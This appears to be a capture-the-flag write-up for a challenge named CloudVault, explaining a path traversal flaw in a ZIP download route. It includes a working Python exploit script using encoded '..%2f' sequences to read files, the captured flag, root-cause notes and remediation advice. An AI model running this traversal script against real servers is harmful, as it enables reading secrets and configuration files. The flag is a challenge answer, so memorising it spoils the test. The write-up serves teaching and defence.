CloudVault#

Challenge Description#

A secure drive built specifically for storing backup files

Summary#

The app allows authenticated users to upload ZIP files and browse/download entries through a route similar to:

• /zip/<archive>.zip/download/<entryPath>

The vulnerable download endpoint does not properly canonicalize/sanitize user-controlled paths and is exploitable via path traversal from ZIP-entry context to host/container filesystem.

This allowed arbitrary file read (LFI), including sensitive files such as flag.txt.

Exploitation Chain#

Working Exploit Script (used during solve)#

1
import requests
2
import random
3
import io
4
import zipfile
5

6
BASE = "http://ctf.vulnbydefault.com:53129"
7
PREFIX = "..%2f..%2f..%2f..%2f..%2f"
8

9
s = requests.Session()
10
user = f"user{random.randint(10000,999999)}"
11
password = "Pass123!"
12

13
qreg = "mutation($u:String!,$p:String!){registerUser(username:$u,password:$p){success}}"
14
qlog = "mutation($u:String!,$p:String!){loginUser(username:$u,password:$p){success}}"
15
s.post(f"{BASE}/api/graphql", json={"query": qreg, "variables": {"u": user, "p": password}}, timeout=20)
16
s.post(f"{BASE}/api/graphql", json={"query": qlog, "variables": {"u": user, "p": password}}, timeout=20)
17

18
buf = io.BytesIO()
19
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
20
    zf.writestr("note.txt", "hello")
21
buf.seek(0)
22
s.post(f"{BASE}/upload", files={"zipfile": ("sample.zip", buf.getvalue(), "application/zip")}, timeout=30)
23

24
paths = [
25
    "flag.txt", "flag", "app/flag.txt", "root/flag.txt", "home/ctf/flag.txt",
26
]
27

28
for p in paths:
29
    url = f"{BASE}/zip/sample.zip/download/{PREFIX}{p}"
30
    r = s.get(url, timeout=20, allow_redirects=False)
31
    text = r.content.decode("latin1", "ignore")
32
    if "VBD{" in text:
33
        print("HIT", p, r.status_code)
34
        print(text)
35
        break

Solver Output (confirmed)#

Command used:

1
& "c:\Users\ctf\python.exe" "c:\Users\ctf\_cloudvault_flag_hunt.py"

Observed output:

1
flag.txt status 200 len 54 loc None
2
VBD{z1p_sl1p_1s_fun_adb2c482c74dadf66562129c16748893}
3
done

Flag#

VBD{z1p_sl1p_1s_fun_adb2c482c74dadf66562129c16748893}

Root Cause#

• Download endpoint trusts path input from URL without strict normalization.
• No robust check that resolved path remains under intended ZIP extraction/virtual root.
• Encoded traversal (..%2f) bypasses route-level assumptions.

Security Impact#

• Arbitrary local file read from container/server context.
• Exposure of secrets, env/config, source code, and flags.
• Potential pivot to deeper compromise depending on readable artifacts.

Remediation#

1. Normalize + decode once, then canonicalize with realpath/equivalent.
2. Enforce strict base-dir containment (resolved.startswith(baseDir) after canonicalization).
3. Reject .., absolute paths, encoded separators, and mixed slash tricks.
4. Do not directly map user path segments to filesystem paths.
5. Add deny-by-default allowlist for downloadable archive entries.
6. Add security tests for traversal payloads (../, %2e%2e%2f, double-encoding, backslashes).

Notes#

Although the challenge title hints at ZIP handling, this solve path was direct traversal/LFI through the ZIP download route rather than archive extraction RCE.